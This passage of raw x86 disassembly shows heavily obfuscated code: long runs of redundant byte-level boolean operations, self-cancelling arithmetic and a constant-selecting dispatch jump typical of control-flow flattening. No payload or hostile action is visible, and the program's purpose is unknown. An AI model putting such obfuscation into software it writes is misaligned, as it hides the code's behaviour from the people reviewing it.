mov byte [ebp - 0x48841], cl
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov cl, dl
and cl, 0
and bh, dh
mov byte [ebp - 0x48843], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x48842], al
mov al, byte [ebp - 0x48843]
or cl, al
mov al, byte [ebp - 0x48842]
or bh, al
mov al, byte [ebp - 0x48841]
xor cl, bh
or dl, bl
xor dl, 0xff
or dh, 0
and dl, dh
or cl, dl
mov byte [ebp - 0x4883e], cl
mov dl, 1
xor dl, 0
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 1
mov dh, dl
and dh, 0xff
mov cl, bl
and cl, 0
mov byte [ebp - 0x48840], cl
mov cl, bh
and cl, 0xff
and al, bl
mov byte [ebp - 0x4883f], al
mov al, byte [ebp - 0x48840]
or dh, al
mov al, byte [ebp - 0x4883f]
or cl, al
mov al, byte [ebp - 0x4883e]
xor dh, cl
mov cl, byte [ebp - 0x48825]
or dl, bh
xor dl, 0xff
or bl, 1
and dl, bl
or dh, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and al, bl
or dl, al
xor dl, 0xff
xor dh, 0xff
mov al, 1
xor al, 0
or dl, dh
or al, 0
xor dl, 0xff
and dl, al
mov al, cl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and cl, dh
or al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dh, 1
xor dh, 1
and dh, 1
or cl, dh
mov dh, 1
xor dh, 0
and dh, 1
mov bl, 1
xor bl, 1
and bl, 0
or dh, bl
mov byte [ebp - 0x4883b], dh
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x4883a], dh
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
and dh, 0
and al, bl
mov byte [ebp - 0x4883d], al
mov al, bh
and al, 0
mov byte [ebp - 0x4883c], al
mov al, byte [ebp - 0x4883d]
and cl, bl
or dh, al
mov al, byte [ebp - 0x4883c]
or al, cl
mov cl, byte [ebp - 0x4883b]
xor dh, al
mov al, byte [ebp - 0x4883a]
or al, bh
xor al, 0xff
or bl, 0
and al, bl
or dh, al
mov bh, 1
xor bh, 0
mov byte [ebp - 0x48836], bh
mov al, cl
xor al, 0xff
mov byte [ebp - 0x48837], al
mov bl, 1
xor bl, 1
and bh, 0xff
mov al, bl
and al, 0
mov byte [ebp - 0x48839], al
mov al, byte [ebp - 0x48837]
and al, 0xff
mov byte [ebp - 0x48838], al
mov al, byte [ebp - 0x48839]
and cl, bl
or bh, al
mov al, byte [ebp - 0x48838]
or al, cl
mov cl, byte [ebp - 0x48837]
xor bh, al
mov al, byte [ebp - 0x48836]
or al, cl
mov cl, byte [ebp - 0x48835]
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov bl, dh
xor bl, 0xff
and bl, 1
mov al, 1
xor al, 1
and dh, al
mov byte [ebp - 0x48834], dh
mov dh, 1
xor dh, 1
and dh, 0xff
and al, 1
mov byte [ebp - 0x48833], al
mov al, byte [ebp - 0x48834]
or bl, al
mov al, byte [ebp - 0x48833]
or dh, al
mov al, byte [ebp - 0x48823]
xor bl, dh
xor bh, 0xff
mov dh, bl
xor dh, bh
and dh, bl
mov byte [ebp - 0x4882f], dh
mov bl, al
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
and al, dh
or bl, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0x48832], al
mov al, 1
xor al, 0
mov bh, cl
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0
and bl, al
mov al, byte [ebp - 0x48832]
or al, bh
or dh, bl
xor al, dh
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, dl
xor al, 0xff
mov bh, ch
xor bh, al
and bh, ch
mov al, ch
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and ch, bl
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, bl
or al, ch
or cl, dl
xor al, cl
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 0
mov cl, dl
and cl, 0
and bh, ch
mov byte [ebp - 0x48831], bh
mov bh, bl
and bh, 0
and al, ch
mov byte [ebp - 0x48830], al
mov al, byte [ebp - 0x48831]
or cl, al
mov al, byte [ebp - 0x48830]
or bh, al
mov al, byte [ebp - 0x4882f]
xor cl, bh
or dl, bl
xor dl, 0xff
or ch, 0
and dl, ch
or cl, dl
mov byte [ebp - 0x48829], cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
mov bl, al
and bl, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or cl, bl
or dl, ch
xor cl, dl
mov byte [ebp - 0x4882d], cl
mov dl, dh
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
mov bl, dh
and bl, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or dl, bl
or cl, ch
xor dl, cl
mov cl, 1
xor cl, 1
and cl, 0
mov bh, 1
xor bh, 0
mov ch, bh
and ch, 1
mov bl, 1
xor bl, 1
and bl, 0
and bh, 1
or cl, ch
mov ch, byte [ebp - 0x4882d]
or bl, bh
xor cl, bl
mov bh, 1
xor bh, 1
mov bl, ch
xor bl, bh
and bl, ch
xor al, 0xff
mov bh, cl
xor bh, 0xff
mov ch, 1
xor ch, 0
or al, bh
or ch, 0
xor al, 0xff
and al, ch
mov byte [ebp - 0x4882e], al
mov ch, dl
xor ch, 0xff
mov bh, 1
xor bh, 1
mov al, 1
xor al, 0
or ch, bh
or al, 0
xor ch, 0xff
and ch, al
mov al, cl
xor al, 0xff
mov bh, dh
xor bh, al
mov al, byte [ebp - 0x4882e]
and bh, dh
mov dh, bl
and dh, al
xor bl, al
mov al, byte [ebp - 0x4882d]
or dh, bl
mov bl, ch
and bl, bh
xor ch, bh
or bl, ch
mov bh, dh
xor bh, 0xff
mov ch, bl
and ch, bh
xor bl, 0xff
and dh, bl
or ch, dh
mov byte [ebp - 0x4882a], ch
mov dh, al
and dh, dl
xor al, dl
or dh, al
mov ch, dh
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ch, dh
or al, dl
xor ch, al
mov dl, 1
xor dl, 1
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov dh, dl
and dh, 0xff
mov al, bl
and al, 1
mov byte [ebp - 0x4882c], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x4882b], al
mov al, byte [ebp - 0x4882c]
and cl, bl
or dh, al
mov al, byte [ebp - 0x4882b]
or al, cl
mov cl, byte [ebp - 0x4882a]
xor dh, al
mov al, byte [ebp - 0x48829]
or dl, bh
xor dl, 0xff
or bl, 1
and dl, bl
or dh, dl
xor ch, 0xff
xor dh, 0xff
mov dl, 1
xor dl, 0
or ch, dh
or dl, 0
xor ch, 0xff
and ch, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
mov ch, al
and ch, dh
or cl, ch
xor cl, 0xff
xor cl, 0
and cl, 0
mov byte [ebp - 0x48828], cl
mov dh, 1
xor dh, 0
and dh, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or dh, bl
or cl, ch
xor dh, cl
mov ch, dh
xor ch, 0xff
mov cl, al
xor cl, ch
and cl, al
mov bl, dl
xor bl, 0xff
and bl, 0
mov bh, 1
xor bh, 0
mov al, dl
and al, bh
mov ch, 1
xor ch, 1
and ch, 0
and bh, 1
or bl, al
mov al, byte [ebp - 0x48828]
or ch, bh
xor bl, ch
mov bh, 1
xor bh, 0
mov ch, bl
xor ch, bh
and ch, bl
mov byte [ebp - 0x48824], ch
xor dl, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 1
or dl, dh
or ch, 1
xor dl, 0xff
and dl, ch
mov ch, al
xor ch, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dh, ch
and dh, 0
and al, bl
mov byte [ebp - 0x48827], al
mov al, bh
and al, 0
mov byte [ebp - 0x48826], al
mov al, byte [ebp - 0x48827]
and cl, bl
or dh, al
mov al, byte [ebp - 0x48826]
or al, cl
mov cl, byte [ebp - 0x48825]
xor dh, al
mov al, byte [ebp - 0x48824]
or ch, bh
xor ch, 0xff
or bl, 0
and ch, bl
or dh, ch
mov ch, al
and ch, dl
xor al, dl
or ch, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov al, ch
xor al, 0xff
and al, 0xff
and ch, bl
or dl, dh
or al, ch
xor dl, al
mov dh, ah
xor dh, 0xff
mov ch, cl
xor ch, 0xff
mov al, 1
xor al, 0
or dh, ch
or al, 0
xor dh, 0xff
and dh, al
mov bh, ah
xor bh, 0xff
and bh, 0
mov ch, 1
xor ch, 0
and ah, ch
mov al, cl
xor al, 0xff
and al, 0
and cl, ch
or bh, ah
or al, cl
xor bh, al
mov cl, dh
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov al, cl
and al, 0
and dh, ah
mov bl, ch
and bl, 0
and bh, ah
or al, dh
mov dh, byte [ebp - 0x48823]
or bl, bh
xor al, bl
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
mov ah, al
and ah, ch
or cl, ah
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and bl, 1
or ch, bh
or ah, bl
xor ch, ah
xor ch, 0xff
mov ah, al
xor ah, ch
and ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov byte [ebp - 0x48820], al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov bh, 1
xor bh, 0
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0
or bh, ah
mov byte [ebp - 0x4881f], bh
mov ah, 1
xor ah, 0
mov dh, al
xor dh, ah
and dh, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov ah, cl
xor ah, 0xff
mov bl, 1
xor bl, 0
mov ch, 1
xor ch, 1
or ah, bl
mov bl, byte [ebp - 0x48823]
or ch, 1
xor ah, 0xff
and ah, ch
mov ch, byte [ebp - 0x4881f]
xor ch, 0xff
xor bl, ch
mov ch, byte [ebp - 0x48823]
and bl, ch
mov ch, dh
and ch, bh
xor dh, bh
or ch, dh
mov dh, ah
and dh, bl
xor ah, bl
or dh, ah
mov bl, ch
xor bl, 0xff
mov ah, dh
and ah, bl
xor dh, 0xff
and ch, dh
or ah, ch
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov bh, ch
and bh, 0
and al, dh
mov byte [ebp - 0x48822], al
mov al, bl
and al, 0
mov byte [ebp - 0x48821], al
mov al, byte [ebp - 0x48822]
and cl, dh
or bh, al
mov al, byte [ebp - 0x48821]
or al, cl
mov cl, byte [ebp - 0x48820]
xor bh, al
mov al, byte [ebp - 0x4881f]
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or bh, ch
mov ch, bh
xor ch, 0xff
and ch, 0
mov bl, 1
xor bl, 0
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or ch, bh
or dh, bl
xor ch, dh
mov dh, al
and dh, 0
xor al, 0
or dh, al
xor ch, 0xff
xor dh, 0xff
mov al, 1
xor al, 1
or ch, dh
or al, 1
xor ch, 0xff
and ch, al
mov al, ah
and al, ch
xor ah, ch
or al, ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
mov ah, cl
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
mov dh, cl
and dh, bl
mov al, ch
xor al, 0xff
and al, 0xff
and ch, bl
or ah, dh
or al, ch
xor ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfd8ed7a0
mov ecx, 0xa2e88c13
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov eax, dword [ebp - 0x485a0]
mov ecx, dword [ebp - 0x484ec]
mov dword [eax], ecx
mov eax, dword [ebp - 0x485a0]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x484e5], al
mov ecx, dword [0x50d548]
mov eax, dword [0x50d544]
mov edx, ecx
add edx, 0xe3196a69
sub edx, 0xc3b8704f
sub edx, 0xe3196a69
add edx, 0x766baa00
sub edx, 0x78bbe29e
sub edx, 0x766baa00
xor esi, esi
sub esi, 0xc3b8704f
sub edx, esi
add edx, 0x42b2d430
sub edx, 0x8cee686
sub edx, 0x42b2d430
sub edx, 0xf6e97b0a
sub edx, 1
add edx, 0xf6e97b0a
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x8cee686
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0xe0fdd91
add edx, 0x980604f1
add edx, 0xe0fdd91
add edx, 0x2cceb6e3
add edx, 0x78bbe29e
sub edx, 0x2cceb6e3
xor esi, esi
sub esi, 0x980604f1
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete ch
mov byte [ebp - 0x48875], ch
cmp eax, 0xa
setl dh
mov dl, ch
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov ah, ch
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
xor dl, 0xff
mov al, 1
xor al, 0
or cl, dl
or al, 0
xor cl, 0xff
and cl, al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
xor ch, 0xff
mov dl, bl
xor dl, 0xff
mov al, 1
xor al, 1
or ch, dl
or al, 1
xor ch, 0xff
and ch, al
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
and dl, 1
or al, dl
xor al, 0xff
mov ah, 1
xor ah, 1
mov dl, 1
xor dl, 1
or al, ah
or dl, 1
xor al, 0xff
and al, dl
mov ah, 1
xor ah, 1
xor bl, 0xff
mov dl, 1
xor dl, 1
or ah, bl
or dl, 1
xor ah, 0xff
and ah, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov ch, dl
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or ch, dl
or al, cl
xor ch, al
mov al, dh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, dh
and cl, dl
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
mov cl, dh
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or dl, bh
or al, bl
xor dl, al
mov bh, 1
xor bh, 0
xor dl, 0xff
mov al, 1
xor al, 0
or bh, dl
or al, 0
xor bh, 0xff
and bh, al
mov byte [ebp - 0x4887a], bh
mov dl, cl
xor dl, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 1
mov al, dl
and al, 0xff
mov byte [ebp - 0x48879], al
and cl, bl
mov al, bh
and al, 0xff
mov byte [ebp - 0x48878], al
mov al, byte [ebp - 0x4887a]
and al, bl
mov byte [ebp - 0x48877], al
mov al, byte [ebp - 0x48879]
or al, cl
mov cl, byte [ebp - 0x48878]
mov byte [ebp - 0x48876], al
mov al, byte [ebp - 0x48877]
or cl, al
mov al, byte [ebp - 0x48876]
xor al, cl
mov cl, byte [ebp - 0x48875]
or dl, bh
xor dl, 0xff
or bl, 1
and dl, bl
or al, dl
mov byte [ebp - 0x4884a], al
mov bh, 1
xor bh, 0
and bh, 0
mov dl, 1
xor dl, 0
mov bl, dl
and bl, 0
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bh, bl
or al, dl
xor bh, al
mov dl, ch
xor dl, 0xff
and dl, 0
mov al, 1
xor al, 0
mov bl, ch
and bl, al
mov byte [ebp - 0x48874], bl
mov bl, bh
xor bl, 0xff
and bl, 0
and bh, al
mov al, byte [ebp - 0x48874]
or dl, al
mov al, byte [ebp - 0x4884a]
or bl, bh
xor dl, bl
xor dl, 0xff
mov bh, ch
xor bh, 0xff
mov bl, 1
xor bl, 1
or dl, bh
or bl, 1
xor dl, 0xff
and dl, bl
mov byte [ebp - 0x4886f], dl
mov dl, al
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and al, bl
or dl, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov al, 1
xor al, 1
mov byte [ebp - 0x48873], al
mov bh, cl
and bh, al
mov al, dl
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x48872], al
mov al, byte [ebp - 0x48873]
and dl, al
mov al, byte [ebp - 0x48872]
or bl, bh
or al, dl
xor bl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov bh, 1
xor bh, 0
and bh, 1
mov cl, 1
xor cl, 1
mov dl, cl
and dl, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, dl
mov dl, byte [ebp - 0x4884a]
or al, cl
xor bh, al
mov cl, ah
xor cl, 0xff
mov al, bh
and al, cl
xor bh, 0xff
mov cl, ah
and cl, bh
or al, cl
xor al, 0xff
mov bh, ah
xor bh, 0xff
mov cl, 1
xor cl, 0
or al, bh
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0x48861], al
mov bh, dl
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, dl
or al, cl
xor bh, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
mov byte [ebp - 0x48871], al
mov cl, dh
and cl, al
mov al, bh
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x48870], al
mov al, byte [ebp - 0x48871]
and bh, al
mov al, byte [ebp - 0x48870]
or dl, cl
mov cl, byte [ebp - 0x4886f]
or al, bh
xor dl, al
xor dl, 0xff
xor dh, 0xff
mov al, 1
xor al, 0
or dl, dh
or al, 0
xor dl, 0xff
and dl, al
mov al, cl
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
and cl, bh
mov dh, 1
xor dh, 1
and dh, 0
and bh, 1
or al, cl
mov cl, byte [ebp - 0x4886f]
or dh, bh
xor al, dh
mov byte [ebp - 0x48867], al
mov dh, bl
xor dh, 0xff
and dh, 1
mov bh, 1
xor bh, 1
mov al, bl
and al, bh
or dh, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov al, byte [ebp - 0x48867]
mov byte [ebp - 0x4886a], bh
mov bh, 1
xor bh, 1
xor al, bh
mov bh, byte [ebp - 0x48867]
and al, bh
mov bh, byte [ebp - 0x4886a]
mov byte [ebp - 0x4886c], al
xor cl, 0xff
xor bh, 0xff
mov al, 1
xor al, 1
or cl, bh
or al, 1
xor cl, 0xff
and cl, al
mov bh, dh
xor bh, 0xff
mov al, 1
xor al, 1
mov byte [ebp - 0x4886e], al
mov al, 1
xor al, 1
mov byte [ebp - 0x4886d], al
mov al, byte [ebp - 0x4886e]
or bh, al
mov al, byte [ebp - 0x4886d]
or al, 1
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x4886a]
mov byte [ebp - 0x4886b], bh
xor bl, 0xff
xor al, 0xff
mov bh, 1
xor bh, 1
or bl, al
mov al, byte [ebp - 0x4886c]
or bh, 1
xor bl, 0xff
and bl, bh
mov bh, al
and bh, cl
xor al, cl
mov cl, byte [ebp - 0x4886b]
or bh, al
mov al, cl
and al, bl
xor cl, bl
or al, cl
mov bl, bh
xor bl, 0xff
and bl, 0
mov cl, 1
xor cl, 0
and bh, cl
mov byte [ebp - 0x48869], bh
mov bh, al
xor bh, 0xff
and bh, 0
and al, cl
mov cl, byte [ebp - 0x4886a]
mov byte [ebp - 0x48868], al
mov al, byte [ebp - 0x48869]
or bl, al
mov al, byte [ebp - 0x48868]
or bh, al
mov al, byte [ebp - 0x48867]
xor bl, bh
mov byte [ebp - 0x48862], bl
mov bh, al
and bh, dh
xor al, dh
or bh, al
mov dh, bh
xor dh, 0xff
and dh, 0
mov bl, 1
xor bl, 0
and bh, bl
mov al, 1
xor al, 1
and al, 0
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov bh, 1
xor bh, 1
mov byte [ebp - 0x48864], bh
mov al, cl
xor al, 0xff
mov byte [ebp - 0x48863], al
mov bl, 1
xor bl, 1
and bh, 0xff
mov al, bl
and al, 1
mov byte [ebp - 0x48866], al
mov al, byte [ebp - 0x48863]
and al, 0xff
mov byte [ebp - 0x48865], al
mov al, byte [ebp - 0x48866]
and cl, bl
or bh, al
mov al, byte [ebp - 0x48865]
or al, cl
mov cl, byte [ebp - 0x48864]
xor bh, al
mov al, byte [ebp - 0x48863]
or cl, al
mov al, byte [ebp - 0x48862]
xor cl, 0xff
or bl, 1
and cl, bl
mov bl, byte [ebp - 0x48861]
or bh, cl
xor bh, 0xff
mov cl, dh
xor cl, bh
and cl, dh
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov al, bl
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or al, bl
or cl, dh
xor al, cl
mov byte [ebp - 0x48855], al
mov al, dl
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
mov bl, dl
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or al, bl
or cl, dh
xor al, cl
mov byte [ebp - 0x48856], al
mov dh, 1
xor dh, 0
and dh, 1
mov cl, 1
xor cl, 1
mov al, cl
and al, 0
mov bl, 1
xor bl, 1
and bl, 0xff
and cl, 1
or dh, al
mov al, byte [ebp - 0x48861]
or bl, cl
mov cl, byte [ebp - 0x48855]
xor dh, bl
mov byte [ebp - 0x48852], dh
xor cl, 0xff
mov bl, 1
xor bl, 0
mov dh, 1
xor dh, 1
or cl, bl
mov bl, byte [ebp - 0x48852]
or dh, 1
xor cl, 0xff
and cl, dh
mov dh, byte [ebp - 0x48856]
mov byte [ebp - 0x48860], cl
xor bl, 0xff
mov cl, al
xor cl, bl
and cl, al
xor dh, 0xff
mov al, 1
xor al, 0
mov bl, 1
xor bl, 0
or dh, al
mov al, byte [ebp - 0x48860]
or bl, 0
xor dh, 0xff
and dh, bl
mov bl, byte [ebp - 0x48852]
mov byte [ebp - 0x4885b], dh
xor dl, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 0
or dl, bl
or dh, 0
xor dl, 0xff
and dl, dh
mov byte [ebp - 0x4885d], dl
mov dl, al
xor dl, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x4885c], dh
mov bl, 1
xor bl, 1
mov dh, dl
and dh, 0xff
and al, bl
mov byte [ebp - 0x4885f], al
mov al, byte [ebp - 0x4885c]
and al, 0xff
mov byte [ebp - 0x4885e], al
mov al, byte [ebp - 0x4885f]
and cl, bl
or dh, al
mov al, byte [ebp - 0x4885e]
or al, cl
mov cl, byte [ebp - 0x4885d]
xor dh, al
mov al, byte [ebp - 0x4885c]
or dl, al
mov al, byte [ebp - 0x4885b]
xor dl, 0xff
or bl, 1
and dl, bl
or dh, dl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x48857], bl
mov dl, cl
xor dl, 0xff
mov byte [ebp - 0x48858], dl
mov dl, 1
xor dl, 1
and bl, 0xff
and al, dl
mov byte [ebp - 0x4885a], al
mov al, byte [ebp - 0x48858]
and al, 0xff
mov byte [ebp - 0x48859], al
mov al, byte [ebp - 0x4885a]
and cl, dl
or bl, al
mov al, byte [ebp - 0x48859]
or al, cl
mov cl, byte [ebp - 0x48858]
xor bl, al
mov al, byte [ebp - 0x48857]
or al, cl
mov cl, byte [ebp - 0x48856]
xor al, 0xff
or dl, 1
and al, dl
or bl, al
mov al, dh
xor al, 0xff
mov dl, bl
and dl, al
mov al, byte [ebp - 0x48855]
xor bl, 0xff
and dh, bl
or dl, dh
mov byte [ebp - 0x4884c], dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x48851], dl
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
and dl, 0
and al, dh
mov byte [ebp - 0x48854], al
mov al, bl
and al, 0
mov byte [ebp - 0x48853], al
mov al, byte [ebp - 0x48854]
and cl, dh
or dl, al
mov al, byte [ebp - 0x48853]
or al, cl
mov cl, byte [ebp - 0x48852]
xor dl, al
mov al, byte [ebp - 0x48851]
or al, bl
xor al, 0xff
or dh, 0
and al, dh
or dl, al
mov al, dl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and dl, dh
or al, dl
mov byte [ebp - 0x4884e], al
mov dl, 1
xor dl, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0x4884d], al
mov bl, 1
xor bl, 1
mov dh, dl
and dh, 0xff
mov al, bl
and al, 0
mov byte [ebp - 0x48850], al
mov al, byte [ebp - 0x4884d]
and al, 0xff
mov byte [ebp - 0x4884f], al
mov al, byte [ebp - 0x48850]
and cl, bl
or dh, al
mov al, byte [ebp - 0x4884f]
or al, cl
mov cl, byte [ebp - 0x4884e]
xor dh, al
mov al, byte [ebp - 0x4884d]
or dl, al
mov al, byte [ebp - 0x4884c]
xor dl, 0xff
or bl, 1
and dl, bl
or dh, dl
xor cl, 0xff
xor dh, 0xff
mov dl, 1
xor dl, 1
or cl, dh
or dl, 1
xor cl, 0xff
and cl, dl
mov bl, al
and bl, cl
xor al, cl
or bl, al
mov al, bh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, bh
and cl, dl
or al, cl
xor al, 0xff
mov cl, bl
xor cl, al
and cl, bl
mov dl, bl
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and bl, dh
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or dl, bl
or al, dh
xor dl, al
xor bh, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or bh, dl
or al, 0
xor bh, 0xff
and bh, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x4884b], al
mov dh, bh
xor dh, 0xff
mov dl, 1
xor dl, 0
and al, 0
and cl, dl
mov bl, dh
and bl, 0
and bh, dl
or al, cl
mov cl, byte [ebp - 0x4884b]
or bl, bh
xor al, bl
or cl, dh
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov byte [ebp - 0x48849], al
mov al, ch
xor al, 0xff
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
xor dl, 0xff
mov ah, ch
xor ah, 0xff
mov al, 1
xor al, 0
or dl, ah
or al, 0
xor dl, 0xff
and dl, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov dh, 1
xor dh, 1
mov al, ah
xor al, dh
and al, ah
mov bh, 1
xor bh, 1
xor ch, 0xff
mov ah, 1
xor ah, 1
or bh, ch
or ah, 1
xor bh, 0xff
and bh, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, cl
and dl, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or dl, al
mov al, byte [ebp - 0x4884a]
or bl, bh
xor dl, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or dl, cl
mov ch, ah
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and ah, dh
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, dh
or ch, ah
or cl, dl
xor ch, cl
mov bh, al
xor bh, 0xff
xor bh, 0
and bh, 0
mov cl, 1
xor cl, 0
mov bl, al
and bl, cl
xor al, 0xff
and al, 0
or bl, al
